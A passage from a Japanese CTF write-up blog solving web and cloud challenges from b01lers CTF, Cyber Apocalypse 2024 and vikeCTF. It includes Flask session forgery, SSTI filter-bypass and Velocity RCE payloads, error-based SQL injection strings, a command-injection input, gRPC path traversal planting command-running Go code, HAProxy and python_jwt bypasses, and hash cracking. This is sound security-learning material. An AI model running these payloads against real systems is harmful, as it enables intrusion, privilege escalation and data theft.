.eJwlzjEOwjAMQNG7ZGZIYieOe5nKdmxRCRhaYEHcnUqMX_rD-6Q1dj-uaXnuL7-kdZtpScgCM-YgGqUQcgutjsxBRDzCC2bWrLl3tQpCVUWKOpxvxrBQ4TN0Oo0KGNAa0AwkE2VUqE1MQbv31g1wZstjIAColRwANZ2Q1-H7X-Pv7XaXR_r-ANeMMcI.Zhq4NQ.NjmMgXzBh752wVfYJENCJ9bIhBM

これを解析する。 以下のように辞書を作って

for i in range(0x100000):
    print(hex(i))

以下のように解析。

$ flask-unsign -c ".eJwlzjEOwjAMQNG7ZGZIYieOe5nKdmxRCRhaYEHcnUqMX_rD-6Q1dj-uaXnuL7-kdZtpScgCM-YgGqUQcgutjsxBRDzCC2bWrLl3tQpCVUWKOpxvxrBQ4TN0Oo0KGNAa0AwkE2VUqE1MQbv31g1wZstjIAColRwANZ2Q1-H7X-Pv7XaXR_r-ANeMMcI.Zhq4NQ.NjmMgXzBh752wVfYJENCJ9bIhBM" --unsign --wordlist ./dic.txt --no-literal-eval
[*] Session decodes to: {'_fresh': True, '_id': '49a3dfd8778117495fb2e499f77798fe1409b0b066bc23a72baa1be317404fcfba9e31bde78234f35537df47cab94b325acb3b6e656c34d0c0884333bc10f332', '_user_id': 'evilman'}
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 769664 attempts
b'0xbbe18'

鍵が分かったので作り直す。

$ flask-unsign --sign --secret '0xbbe18' --cookie "{'_fresh': True, '_id': '49a3dfd8778117495fb2e499f77798fe1409b0b066bc23a72baa1be317404fcfba9e31bde78234f35537df47cab94b325acb3b6e656c34d0c0884333bc10f332', '_user_id': 'admin'}" --no-literal-eval
.eJwlzjEOwzAIQNG7eO5gG2xMLhMBBjVDOyTNVPXujZTxS39437TG7sczLZ_99Edat5mWhCwwYw6iUQoht9DqyBxExCO8YGbNmntXqyBUVaSow_VmDAsVvkKn06iAAa0BzUAyUUaF2sQUtHtv3QBntjwGAoBayQFQ0wU5D99vjczX9k6_P3OZMN8.Zhtxag.glcjdVQTDK2M1VN8RBh2OtOUuR8

これでadminログインはできた。
後は、SSTIできる箇所があるので、フィルターを回避しながら頑張る。
postを作る所を見ると、

@app.post('/createpost', endpoint='createpost_post')
@login_required
def createpost():
    not None
    content = request.form.get('content')
    post_id = sha256((current_user.name+content).encode()).hexdigest()
    if any(char in content for char in INVALID):
        return render_template_string(f'1{"".join("33" for _ in range(len(content)))}7 detected' )
    current_user.posts.append({str(post_id): content})
    if len(content) > 20:
        return render_template('createpost.html', message=None, error='Content too long!', post=None)
    return render_template('createpost.html', message=f'Post successfully created, view it at /view/{post_id}', error=None)

のように入れてから文字数判定をしているので、エラーが出ても無視してポストを作成できる。
表示させるときは以下のようになっている。

@app.get('/view/<id>')
@login_required
def view(id):
    if (users[current_user.name].verification != V.admin):
        return render_template_string('This feature is still in development, please come back later.')
    content = next((post for post in current_user.posts if id in post), None)
    if not content:
        return render_template_string('Post not found')
    content = content.get(id, '')
    if any(char in content for char in INVALID):
        return render_template_string(f'1{"".join("33" for _ in range(len(content)))}7 detected')
    return render_template_string(f"Post contents here: {content[:250]}")

文字数の上限は実質250文字。
それよりもINVALIDによる文字制限が厳しい。

INVALID = ["{{", "}}", ".", "_", "[", "]","\\", "x"]

これを使わずにSSTIする。
とりあえず{% print config %}が動くのは確認できたので、/flag.txtを何とかとって来る。
頭を打ち付けて以下のような感じでフラグが得られた。
ベースは一瞬でできていたが、変な回り道をしてしまった。

import requests
from hashlib import sha256
import html

BASE = 'http://pwnhub.hammer.b01le.rs/'
session = '.eJwlzjEOwzAIQNG7eO5gG2xMLhMBBjVDOyTNVPXujZTxS39437TG7sczLZ_99Edat5mWhCwwYw6iUQoht9DqyBxExCO8YGbNmntXqyBUVaSow_VmDAsVvkKn06iAAa0BzUAyUUaF2sQUtHtv3QBntjwGAoBayQFQ0wU5D99vjczX9k6_P3OZMN8.ZhtTiQ.wi4Exyx1Z8qVmt6BBpWhSkpE28g'
payload = "{% print lipsum | attr(request|attr('referrer')) | attr(request|attr('mimetype'))('os') | attr('popen')('cat /flag*')|attr('read')() %}"

requests.post(BASE + 'createpost', cookies={'session':session}, data={'content':payload})

post_id = sha256(('admin'+payload).encode()).hexdigest()
t = requests.get(BASE + 'view/' + post_id, cookies={'session':session}, headers={
    'Referer': '__globals__',
    'Content-Type': '__getitem__'
}).text
print(post_id)
print(html.unescape(t))

web/b01lers_casino

怪しい所がないか探すと、ソート条件にpasswordが使われている変な部分が目に付く。

def fetchScoreboard():
    conn = sqlite3.connect("casino.db")
    cur = conn.cursor()
    cur.execute("SELECT fullname, password, balance, username FROM casino")
    scoreboard = cur.fetchall()
    
    # Convert list of tuples to list of dictionaries
    scoreboard_dicts = []
    admin_password = ""
    for row in scoreboard:
        fullname = row[0]
        if row[3] == "admin":
            admin_password = row[1]
        scoreboard_dicts.append({
            'fullname': fullname,
            'password': row[1],
            'balance': row[2]
        })
    # Sorting list of dictionaries
    scoreboard_sorted = sorted(scoreboard_dicts, key=lambda x: (x['balance'], x['fullname'], x['password']), reverse=True)
    print(f"Admin password is {admin_password}")
    for i in range (len(scoreboard_sorted)):
        print(scoreboard_sorted[i])
        if scoreboard_sorted[i]['password'] == admin_password:
            scoreboard_sorted[i]['fullname'] = "The Real Captain Baccarat"
    return scoreboard_sorted

adminの(balance, fullname, password)(1000000, "Captain Baccarat", admin_password)という感じ。
passwordの比較まで回すためには、balance, fullnameを一致させる必要がある。
fullnameは重複できるので、同じものを登録できる。
問題はbalanceで初期状態は500。
何処かで変えられないかなーと見てみるとPOST /slotsで変更可能。
パスワードもPOST /update_passwordで帰れるのでOK。二分探索とかをうまく使いながらadmin_passwordを特定する材料が揃った。

ということで以下のような二分探索コードでフラグが得られる。

import requests
import json

s = requests.Session()
BASE = 'https://boilerscasino-4ecd9eb8f0d2c3cb.instancer.b01lersc.tf/'

s.post(BASE + 'register', json={
    "fullname":"Captain Baccarat",
    "username":"evilman",
    "password":"ed202ac34dc1786fde390110ab1e4a5a13e0d80d0f7f2393a074b2a65ce3b559"
}, verify=False)
t = s.post(BASE + 'login', json={"username":"evilman","password":"ed202ac34dc1786fde390110ab1e4a5a13e0d80d0f7f2393a074b2a65ce3b559"}, verify=False).text
s.cookies["jwt"] = json.loads(t)['jwt']

s.post(BASE + 'slots', json={"change":999500}, verify=False)

lo = 0x0000000000000000000000000000000000000000000000000000000000000000
hi = 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff

while lo + 1 != hi:
    md = (lo + hi) // 2
    p = '{:064x}'.format(md)

    s.post(BASE + 'update_password', json={"new_password":p}, verify=False)
    t = s.get(BASE + 'scoreboard', verify=False).text
    me = t.index('Captain Baccarat')
    you = t.index('The Real Captain Baccarat')
    if me < you:
        hi = md
    else:
        lo = md

print(lo)
print(hi)

for admin_password in [lo, hi]:
    ss = requests.Session()
    t = ss.post(BASE + 'login', json={"username":"admin","password":'{:064x}'.format(admin_password)}, verify=False).text
    if 'jwt' not in t:
        continue
    ss.cookies["jwt"] = json.loads(t)['jwt']
    print(ss.get(BASE + 'grab_flag').text)

Cyber Apocalypse 2024: Hacker Royale Writeups

https://ctftime.org/event/2255

[Web] Flag Command

Embark on the "Dimensional Escape Quest" where you wake up in a mysterious forest maze that's not quite of this world. Navigate singing squirrels, mischievous nymphs, and grumpy wizards in a whimsical labyrinth that may lead to otherworldly surprises. Will you conquer the enchanted maze or find yourself lost in a different dimension of magical challenges? The journey unfolds in this mystical escape!
この世のものとは思えない不思議な森の迷路で目覚める「次元脱出クエスト」に出発しよう。歌うリス、いたずら好きなニンフ、不機嫌な魔法使いなど、異世界の驚きにつながるかもしれない気まぐれな迷宮をナビゲートしよう。魅惑の迷路を制覇するのか、それとも魔法の試練に満ちた異次元の世界に迷い込んでしまうのか?旅はこの神秘的な脱出劇で展開する!

ソースコード無し。
サイトにアクセスするとコンソールが出てくる。
helpと入力するとコマンド一覧が出てきて、startでゲームが遊べる。
一通り遊んだあとにプロキシログを眺めるとGET /api/optionsで面白い応答がある。

{
  "allPossibleCommands": {
    "1": [
      "HEAD NORTH",
      "HEAD WEST",
      "HEAD EAST",
      "HEAD SOUTH"
    ],
    "2": [
      "GO DEEPER INTO THE FOREST",
      "FOLLOW A MYSTERIOUS PATH",
      "CLIMB A TREE",
      "TURN BACK"
    ],
    "3": [
      "EXPLORE A CAVE",
      "CROSS A RICKETY BRIDGE",
      "FOLLOW A GLOWING BUTTERFLY",
      "SET UP CAMP"
    ],
    "4": [
      "ENTER A MAGICAL PORTAL",
      "SWIM ACROSS A MYSTERIOUS LAKE",
      "FOLLOW A SINGING SQUIRREL",
      "BUILD A RAFT AND SAIL DOWNSTREAM"
    ],
    "secret": [
      "Blip-blop, in a pickle with a hiccup! Shmiggity-shmack"
    ]
  }
}

選択肢が帰ってきているがsecretというのがある。
なのでサイトを開いて、startを実行しBlip-blop, in a pickle with a hiccup! Shmiggity-shmackを入力するとフラグがもらえる。

[Web] KORP Terminal

Your faction must infiltrate the KORP™ terminal and gain access to the Legionaries' privileged information and find out more about the organizers of the Fray. The terminal login screen is protected by state-of-the-art encryption and security protocols.

ソースコード無し。
ログインページが与えられる。
SQL Injectionを色々試すと、usernameを'にするとエラーが出た。

{"error":{"message":["1064","1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''''' at line 1","42000"],"type":"ProgrammingError"}}

単純に' or 1=1 #だとエラー。
パスワードも確認していそう?(パスワードだとSQL Injectionは起こらないし)

うーーんと思っていたが、エラーが表示されるのでエラー経由で情報が抜けそう。

' OR updatexml(null,concat(0x0a,(SELECT distinct TABLE_SCHEMA FROM INFORMATION_SCHEMA.TABLES Limit 1,1)),null) # 

PayloadsAllTheThings/SQL Injection/MySQL Injection.md at master · swisskyrepo/PayloadsAllTheThings · GitHubにあるようにupdatexmlを使えばいい感じに抜けた。

`' OR updatexml(null,concat(0x0a,(SELECT distinct TABLE_SCHEMA FROM INFORMATION_SCHEMA.TABLES Limit 1,1)),null) # ` -> korp_terminal
`' OR updatexml(null,concat(0x0a,(select GROUP_CONCAT(distinct table_name) from information_schema.tables where table_schema = 'korp_terminal')),null) # ` -> users
`' OR updatexml(null,concat(0x0a,(select GROUP_CONCAT(column_name) from information_schema.columns where table_name='users' Limit 0,1)),null) # ` -> id,username,password
`' OR updatexml(null,concat(0x0a,(select username from users limit 0,1)),null) # ` -> admin
`' OR updatexml(null,concat(0x0a,(select password from users limit 0,1)),null) # ` -> $2b$12$OF1QqLVkMFUwJrl1J1YG9...

あー、途中で省略されちゃいますね。

`' OR updatexml(null,concat(0x0a,(select SUBSTRING(password,1,10) from users limit 0,1)),null) # ` $2b$12$OF1

こんな感じでsubstringでちまちま持って来る。

$2b$12$OF1QqLVkMFUwJrl1J1YG9u6FdAQZa6ByxFt/CkS/2HW8GA563yiv.

john the ripperとrockyouを使うとクラックできる。

$ john --wordlist=/usr/share/wordlists/rockyou.txt h
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 4096 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
password123      (?)

admin:password123でログインするとフラグが得られる。

[Web] TimeKORP

Are you ready to unravel the mysteries and expose the truth hidden within KROP's digital domain? Join the challenge and prove your prowess in the world of cybersecurity. Remember, time is money, but in this case, the rewards may be far greater than you imagine.

ソースコード有り。
/flagが取得できればフラグ獲得。

phpコードを見ていくと怪しいクラスがある。

<?php
class TimeModel
{
    public function __construct($format)
    {
        $this->command = "date '+" . $format . "' 2>&1";
    }

    public function getTime()
    {
        $time = exec($this->command);
        $res  = isset($time) ? $time : '?';
        return $res;
    }
}

コマンドインジェクション感がすごい。
使っているのか以下の部分。

<?php
class TimeController
{
    public function index($router)
    {
        $format = isset($_GET['format']) ? $_GET['format'] : '%H:%M:%S';
        $time = new TimeModel($format);
        return $router->view('index', ['time' => $time->getTime()]);
    }
}

?format=入力のような形でコマンドインジェクションできる。
%H' && cat '/flagをformatに入れればフラグ獲得。

[Web] Labyrinth Linguist

You and your faction find yourselves cornered in a refuge corridor inside a maze while being chased by a KORP mutant exterminator. While planning your next move you come across a translator device left by previous Fray competitors, it is used for translating english to voxalith, an ancient language spoken by the civilization that originally built the maze. It is known that voxalith was also spoken by the guardians of the maze that were once benign but then were turned against humans by a corrupting agent KORP devised. You need to reverse engineer the device in order to make contact with the mutant and claim your last chance to make it out alive.

javaで書かれたソースコード付き。
mv /flag.txt /flag$(cat /dev/urandom | tr -cd "a-f0-9" | head -c 10).txtのようにフラグが変名されているので、RCEがゴールだろう。

メインのjavaコードは以下のような感じ。

import java.io.*;
import java.util.HashMap;

import org.springframework.boot.*;
import org.springframework.boot.autoconfigure.*;
import org.springframework.stereotype.*;
import org.springframework.web.bind.annotation.*;

import org.apache.velocity.VelocityContext;
import org.apache.velocity.runtime.RuntimeServices;
import org.apache.velocity.runtime.RuntimeSingleton;
import org.apache.velocity.runtime.parser.ParseException;

@Controller
@EnableAutoConfiguration
public class Main {

    @RequestMapping("/")
    @ResponseBody
    String index(@RequestParam(required = false, name = "text") String textString) {
        if (textString == null) {
            textString = "Example text";
        }

        String template = "";

        try {
            template = readFileToString("/app/src/main/resources/templates/index.html", textString);
        } catch (IOException e) {
            e.printStackTrace();
        }

        RuntimeServices runtimeServices = RuntimeSingleton.getRuntimeServices();
        StringReader reader = new StringReader(template);

        org.apache.velocity.Template t = new org.apache.velocity.Template();
        t.setRuntimeServices(runtimeServices);
        try {

            t.setData(runtimeServices.parse(reader, "home"));
            t.initDocument();
            VelocityContext context = new VelocityContext();
            context.put("name", "World");

            StringWriter writer = new StringWriter();
            t.merge(context, writer);
            template = writer.toString();

        } catch (ParseException e) {
            e.printStackTrace();
        }

        return template;
    }

    public static String readFileToString(String filePath, String replacement) throws IOException {
        StringBuilder content = new StringBuilder();
        BufferedReader bufferedReader = null;

        try {
            bufferedReader = new BufferedReader(new FileReader(filePath));
            String line;
            
            while ((line = bufferedReader.readLine()) != null) {
                line = line.replace("TEXT", replacement);
                content.append(line);
                content.append("\n");
            }
        } finally {
            if (bufferedReader != null) {
                try {
                    bufferedReader.close();
                } catch (IOException e) {
                    e.printStackTrace();
                }
            }
        }

        return content.toString();
    }

    public static void main(String[] args) throws Exception {
        System.getProperties().put("server.port", 1337);
        SpringApplication.run(Main.class, args);
    }
}

読むと、indexメソッドにてtextStringを読み込んで、readFileToStringメソッドを使ってテンプレートに直接埋め込んでいる。
埋め込まれたテンプレートをorg.apache.velocity.Templateが実行している。
SSTIですね。

https://iwconnect.com/apache-velocity-server-side-template-injection/
ここにRCE例がある。
sleep 5を動かしてみるとちゃんと遅くなった。

#set($s="")
#set($stringClass=$s.getClass())
#set($stringBuilderClass=$stringClass.forName("java.lang.StringBuilder"))
#set($inputStreamClass=$stringClass.forName("java.io.InputStream"))
#set($readerClass=$stringClass.forName("java.io.Reader"))
#set($inputStreamReaderClass=$stringClass.forName("java.io.InputStreamReader"))
#set($bufferedReaderClass=$stringClass.forName("java.io.BufferedReader"))
#set($collectorsClass=$stringClass.forName("java.util.stream.Collectors"))
#set($systemClass=$stringClass.forName("java.lang.System"))
#set($stringBuilderConstructor=$stringBuilderClass.getConstructor())
#set($inputStreamReaderConstructor=$inputStreamReaderClass.getConstructor($inputStreamClass))
#set($bufferedReaderConstructor=$bufferedReaderClass.getConstructor($readerClass))

#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("cat /flag3d7dcfab6c.txt"))
#set($null=$process.waitFor() )

#set($inputStream=$process.getInputStream())
#set($inputStreamReader=$inputStreamReaderConstructor.newInstance($inputStream))
#set($bufferedReader=$bufferedReaderConstructor.newInstance($inputStreamReader))
#set($stringBuilder=$stringBuilderConstructor.newInstance())

#set($output=$bufferedReader.lines().collect($collectorsClass.joining($systemClass.lineSeparator())))

$output

これでフラグが手に入る。

[Web] Testimonial

As the leader of the Revivalists you are determined to take down the KORP, you and the best of your faction's hackers have set out to deface the official KORP website to send them a message that the revolution is closing in.

golangで書かれたソースコード有り。
mv /flag.txt /flag$(cat /dev/urandom | tr -cd "a-f0-9" | head -c 10).txtとあるのでRCEがゴールだろう。

grpc.goの以下の部分が怪しい。

func (s *server) SubmitTestimonial(ctx context.Context, req *pb.TestimonialSubmission) (*pb.GenericReply, error) {
    if req.Customer == "" {
        return nil, errors.New("Name is required")
    }
    if req.Testimonial == "" {
        return nil, errors.New("Content is required")
    }

    err := os.WriteFile(fmt.Sprintf("public/testimonials/%s", req.Customer), []byte(req.Testimonial), 0644)
    if err != nil {
        return nil, err
    }

    return &pb.GenericReply{Message: "Testimonial submitted successfully"}, nil
}

パスをSprintfで生成していて、ファイル書き込みをしている。
Path Travarsalの雰囲気がある。
呼び出し元をたどろう。

func (c *Client) SendTestimonial(customer, testimonial string) error {
    ctx := context.Background()
    // Filter bad characters.
    for _, char := range []string{"/", "\\", ":", "*", "?", "\"", "<", ">", "|", "."} {
        customer = strings.ReplaceAll(customer, char, "")
    }

    _, err := c.SubmitTestimonial(ctx, &pb.TestimonialSubmission{Customer: customer, Testimonial: testimonial})
    return err
}

ブラックリストのフィルタリングがある。
このルートで間違いなさそう。どうやって悪用するかは後で考えるとして、更に呼び出し元をたどる。

func HandleHomeIndex(w http.ResponseWriter, r *http.Request) error {
    customer := r.URL.Query().Get("customer")
    testimonial := r.URL.Query().Get("testimonial")
    if customer != "" && testimonial != "" {
        c, err := client.GetClient()
        if err != nil {
            http.Error(w, err.Error(), http.StatusInternalServerError)

        }

        if err := c.SendTestimonial(customer, testimonial); err != nil {
            http.Error(w, err.Error(), http.StatusInternalServerError)

        }
    }
    return home.Index().Render(r.Context(), w)
}

getのクエリストリングで指定すればいいが、悪用できない…
うーーんと考えているとgRPCをすっかり忘れていることに気が付く。
protoファイルを見ると…

service RickyService {
    rpc SubmitTestimonial(TestimonialSubmission) returns (GenericReply) {}
}

直で呼べる口があるじゃん!!
ここからPath Traversalできる。
grpccを使って呼び出してみよう。
色々頑張ると

https://gchq.github.io/CyberChef/#recipe=Escape_string('Special%20chars','Single',false,true,false)Find/Replace(%7B'option':'Regex','string':'%22'%7D,'%5C%5C%5C%5C%22',true,false,true,false)&input=cGFja2FnZSBob21lDQoNCmltcG9ydCAoDQoJImh0YmNoYWwvdmlldy9sYXlvdXQiDQogICAgIm9zL2V4ZWMiDQopDQoNCnRlbXBsIEluZGV4KCkgew0KCUBsYXlvdXQuQXBwKHRydWUpIHsNCntSQ0UoKX0KCX0NCn0NCg0KZnVuYyBSQ0UoKSBzdHJpbmcgew0KCW91dCwgXyA6PSBleGVjLkNvbW1hbmQoImxzIiwgIi1sYSIpLk91dHB1dCgpDQoJcmV0dXJuIHN0cmluZyhvdXQpDQp9DQ

こういうのをbodyに入れて送るとRCEできる。
つまり、

RickyService@localhost:50045> client.submitTestimonial({customer:"../../view/home/index.templ",testimonial:"package home\r\n\r\nimport (\r\n\t\"htbchal/view/layout\"\r\n    \"os/exec\"\r\n)\r\n\r\ntempl Index() {\r\n\t@layout.App(true) {\r\n{RCE()}\n\t}\r\n}\r\n\r\nfunc RCE() string {\r\n\tout, _ := exec.Command(\"ls\", \"-la\").Output()\r\n\treturn string(out)\r\n}\r"},printReply)

これでRCE出来た。
以下でls /をしてフラグのファイル名を取得。

client.submitTestimonial({customer:"../../view/home/index.templ",testimonial:"package home\r\n\r\nimport (\r\n\t\"htbchal/view/layout\"\r\n    \"os/exec\"\r\n)\r\n\r\ntempl Index() {\r\n\t@layout.App(true) {\r\n{RCE()}\n\t}\r\n}\r\n\r\nfunc RCE() string {\r\n\tout, _ := exec.Command(\"ls\", \"/\").Output()\r\n\treturn string(out)\r\n}\r"},printReply)

以下のようにcatで持って来るとフラグ獲得。

client.submitTestimonial({customer:"../../view/home/index.templ",testimonial:"package home\r\n\r\nimport (\r\n\t\"htbchal/view/layout\"\r\n    \"os/exec\"\r\n)\r\n\r\ntempl Index() {\r\n\t@layout.App(true) {\r\n{RCE()}\n\t}\r\n}\r\n\r\nfunc RCE() string {\r\n\tout, _ := exec.Command(\"cat\", \"/flagcbe1beb221.txt\").Output()\r\n\treturn string(out)\r\n}\r"},printReply)

[Web] LockTalk

In "The Ransomware Dystopia," LockTalk emerges as a beacon of resistance against the rampant chaos inflicted by ransomware groups. In a world plunged into turmoil by malicious cyber threats, LockTalk stands as a formidable force, dedicated to protecting society from the insidious grip of ransomware. Chosen participants, tasked with representing their districts, navigate a perilous landscape fraught with ethical quandaries and treacherous challenges orchestrated by LockTalk. Their journey intertwines with the organization's mission to neutralize ransomware threats and restore order to a fractured world. As players confront internal struggles and external adversaries, their decisions shape the fate of not only themselves but also their fellow citizens, driving them to unravel the mysteries surrounding LockTalk and choose between succumbing to despair or standing resilient against the encroaching darkness.

ソースコード有り。

まずは、/api/v1/get_ticketにあるアクセス制限をなんとかする。
haproxy.cfgをみるとhttp-request deny if { path_beg,url_dec -i /api/v1/get_ticket }のようにdeny設定ありますね。

haproxy 2.8.1とバージョン指定で入れられているので脆弱性を見てみる。
(最初Request Smugglingの方かと思ってCVE-2023-40225を深堀して無限に時間を溶かした)
CVE-2023-45539を使う。
https://github.com/advisories/GHSA-79q7-m98p-qvhp
#入りでも送れちゃうと言うことなので、以下のようなリクエストを送ると、チェックをbypassできてjwtがもらえる。

GET /api/v1/get_ticket# HTTP/1.1
Host: 83.136.250.103:31411
Accept: */*

こういうのを送ってみると、

HTTP/1.1 200 OK
content-type: application/json
content-length: 554
server: uWSGI Server

{"ticket: ":"eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MTAzMDMxMTAsImlhdCI6MTcxMDI5OTUxMCwianRpIjoiaEdHOXY5djFRZFBoYWoybTZBOThVQSIsIm5iZiI6MTcxMDI5OTUxMCwicm9sZSI6Imd1ZXN0IiwidXNlciI6Imd1ZXN0X3VzZXIifQ.BtEXY3gsVkcHMBBuNjgbGwrrFL1oS6Xhl4b4NTYpUcPFqYT5tB66TiSAqqHwFsA0o4kJb6-pFzd4ItX0nw8lJr0ZKvQRbaVC1gztWDMrNcYI5jebX2ddeTExTGIX1YrwBOCzGTxvP1DhZLqsrg3-tDIKlMUx_vaqxpztxGTKA5yDeiEkNH4NNHOTHLggAHM-8dHVvwORePPbXywTrzDlDWXHow-wzZoEv_Pvi3Z5esdRY5Xc6IWiUUYNFKN--C1Dtcx9a3TSmA4o57qYc3rB03xTqyuTN-WWknSgXfLYDlr37YtVwNFNYdR1swmp_Vdc_EFogwl7x1QVQmnqJFp-bg"}

他色々探すと、python_jwt==3.3.3というのが怪しい。
https://github.com/advisories/GHSA-5p8v-58qm-c7fp
これですね。PoCもある。
https://github.com/user0x1337/CVE-2022-39227

$ python3 CVE-2022-39227/cve_2022_39227.py -j 'eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MTAzMDMxMTAsImlhdCI6MTcxMDI5OTUxMCwianRpIjoiaEdHOXY5djFRZFBoYWoybTZBOThVQSIsIm5iZiI6MTcxMDI5OTUxMCwicm9sZSI6Imd1ZXN0IiwidXNlciI6Imd1ZXN0X3VzZXIifQ.BtEXY3gsVkcHMBBuNjgbGwrrFL1oS6Xhl4b4NTYpUcPFqYT5tB66TiSAqqHwFsA0o4kJb6-pFzd4ItX0nw8lJr0ZKvQRbaVC1gztWDMrNcYI5jebX2ddeTExTGIX1YrwBOCzGTxvP1DhZLqsrg3-tDIKlMUx_vaqxpztxGTKA5yDeiEkNH4NNHOTHLggAHM-8dHVvwORePPbXywTrzDlDWXHow-wzZoEv_Pvi3Z5esdRY5Xc6IWiUUYNFKN--C1Dtcx9a3TSmA4o57qYc3rB03xTqyuTN-WWknSgXfLYDlr37YtVwNFNYdR1swmp_Vdc_EFogwl7x1QVQmnqJFp-bg' -i "role=administrator"

...


auth={"  eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MTAzMDMxMTAsImlhdCI6MTcxMDI5OTUxMCwianRpIjoiaEdHOXY5djFRZFBoYWoybTZBOThVQSIsIm5iZiI6MTcxMDI5OTUxMCwicm9sZSI6ImFkbWluaXN0cmF0b3IiLCJ1c2VyIjoiZ3Vlc3RfdXNlciJ9.":"","protected":"eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9", "payload":"eyJleHAiOjE3MTAzMDMxMTAsImlhdCI6MTcxMDI5OTUxMCwianRpIjoiaEdHOXY5djFRZFBoYWoybTZBOThVQSIsIm5iZiI6MTcxMDI5OTUxMCwicm9sZSI6Imd1ZXN0IiwidXNlciI6Imd1ZXN0X3VzZXIifQ","signature":"BtEXY3gsVkcHMBBuNjgbGwrrFL1oS6Xhl4b4NTYpUcPFqYT5tB66TiSAqqHwFsA0o4kJb6-pFzd4ItX0nw8lJr0ZKvQRbaVC1gztWDMrNcYI5jebX2ddeTExTGIX1YrwBOCzGTxvP1DhZLqsrg3-tDIKlMUx_vaqxpztxGTKA5yDeiEkNH4NNHOTHLggAHM-8dHVvwORePPbXywTrzDlDWXHow-wzZoEv_Pvi3Z5esdRY5Xc6IWiUUYNFKN--C1Dtcx9a3TSmA4o57qYc3rB03xTqyuTN-WWknSgXfLYDlr37YtVwNFNYdR1swmp_Vdc_EFogwl7x1QVQmnqJFp-bg"}

ということで、すごい形だけど

GET /api/v1/flag HTTP/1.1
Host: 83.136.250.103:31411
Authorization: {"  eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MTAzMDMxMTAsImlhdCI6MTcxMDI5OTUxMCwianRpIjoiaEdHOXY5djFRZFBoYWoybTZBOThVQSIsIm5iZiI6MTcxMDI5OTUxMCwicm9sZSI6ImFkbWluaXN0cmF0b3IiLCJ1c2VyIjoiZ3Vlc3RfdXNlciJ9.":"","protected":"eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9", "payload":"eyJleHAiOjE3MTAzMDMxMTAsImlhdCI6MTcxMDI5OTUxMCwianRpIjoiaEdHOXY5djFRZFBoYWoybTZBOThVQSIsIm5iZiI6MTcxMDI5OTUxMCwicm9sZSI6Imd1ZXN0IiwidXNlciI6Imd1ZXN0X3VzZXIifQ","signature":"BtEXY3gsVkcHMBBuNjgbGwrrFL1oS6Xhl4b4NTYpUcPFqYT5tB66TiSAqqHwFsA0o4kJb6-pFzd4ItX0nw8lJr0ZKvQRbaVC1gztWDMrNcYI5jebX2ddeTExTGIX1YrwBOCzGTxvP1DhZLqsrg3-tDIKlMUx_vaqxpztxGTKA5yDeiEkNH4NNHOTHLggAHM-8dHVvwORePPbXywTrzDlDWXHow-wzZoEv_Pvi3Z5esdRY5Xc6IWiUUYNFKN--C1Dtcx9a3TSmA4o57qYc3rB03xTqyuTN-WWknSgXfLYDlr37YtVwNFNYdR1swmp_Vdc_EFogwl7x1QVQmnqJFp-bg"}

これでフラグ獲得。

[Web] SerialFlow 解けなかった

https://github.com/hackthebox/cyber-apocalypse-2024
ここに公式解説あります。

[Web] Perceptron 解いてない

[Web] Apexsurvive 解いてない

vikeCTF 2024 Writeup

https://ctftime.org/event/2263

[Cloud] Silly Software

We're Silly Software, and we like bringing the Fun back into devops! We've decided that we're going to start distributing our software as Docker images, because that seems like the most fun! I hope nothing goes wrong :)
私たちはSilly Softwareで、Devopsに楽しさを取り戻すのが好きです!Dockerイメージとしてソフトウェアを配布することに決めました!何事もなければいいのですが :)

docker run public.ecr.aws/d8p5p1v7/vikectf2024/silly-software:latestというのが与えられる。
diveで中身を見てみよう。
dive public.ecr.aws/d8p5p1v7/vikectf2024/silly-software:latest
見ると、最後に/app/.npmrvというファイルが消されている。
調べてみると、npmで利用する際にprivateパッケージを読み込むための認証情報が入っているファイルらしい。
いかにも怪しい。

docker save public.ecr.aws/d8p5p1v7/vikectf2024/silly-software:latest > dumped.tarでレイヤー毎のファイルを取り出してきて、
/app/.npmrcを作成しているレイヤー ID:4e6ad6b88e64db86f38a2a95d51808b4347147cd59cdfba1abc1d6c7707fbed1のフォルダのlayer.tarを解凍すると該当ファイルが見つかる。

//npm.fury.io/vikectf2024/:_authToken=■■■■■■■■■■■■■■■■■■■■

いいですね。package.jsonがあるので中身を見てみるとthe-flagというパッケージを読み込んでいた。

"devDependencies": {
    "the-flag": "^1.0.1"
}

npm ciをして読み込み、node_modules/the-flag/index.jsを見るとフラグが書いてあった。

[Cloud] My Buddy Erik 解けなかった

My buddy Erik wants to play Minecraft so I set up a server for us to play on. I've commited my configuration to GitHub because it's so convenient! Can you make sure that everything is secure?
友達のErikがMinecraftで遊びたいって言うから、サーバーを立ち上げたんだ。とても便利なので、GitHubに設定をコミットしました!すべてが安全であることを確認できますか?
https://github.com/VikeSec/vikeCTF-2024-minecraft-server

深堀する前に終わってしまった。

https://ctf.krauq.com/vikectf-2024#my-buddy-erik-35-solves
了解。

[Web] Jarls Weakened Trust

Jarl's been bragging about becoming an admin on the new axe sharing network. Can you?
ジャールが新しい斧共有ネットワークの管理者になることを自慢している。できるのか?

ソースコード無し。色々試す。

AUTHORIZATION=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiIxOGpjYjRtN3VpeiIsImFkbWluIjpmYWxzZSwiaWF0IjoxNzEwMDQ0Nzk3fQ.46cPstBtoSkDhc7nFZG_UqZVqBjUhbWZ4qjjjXZpfas
-> {"userId": "18jcb4m7uiz","admin": false,"iat": 1710044797}

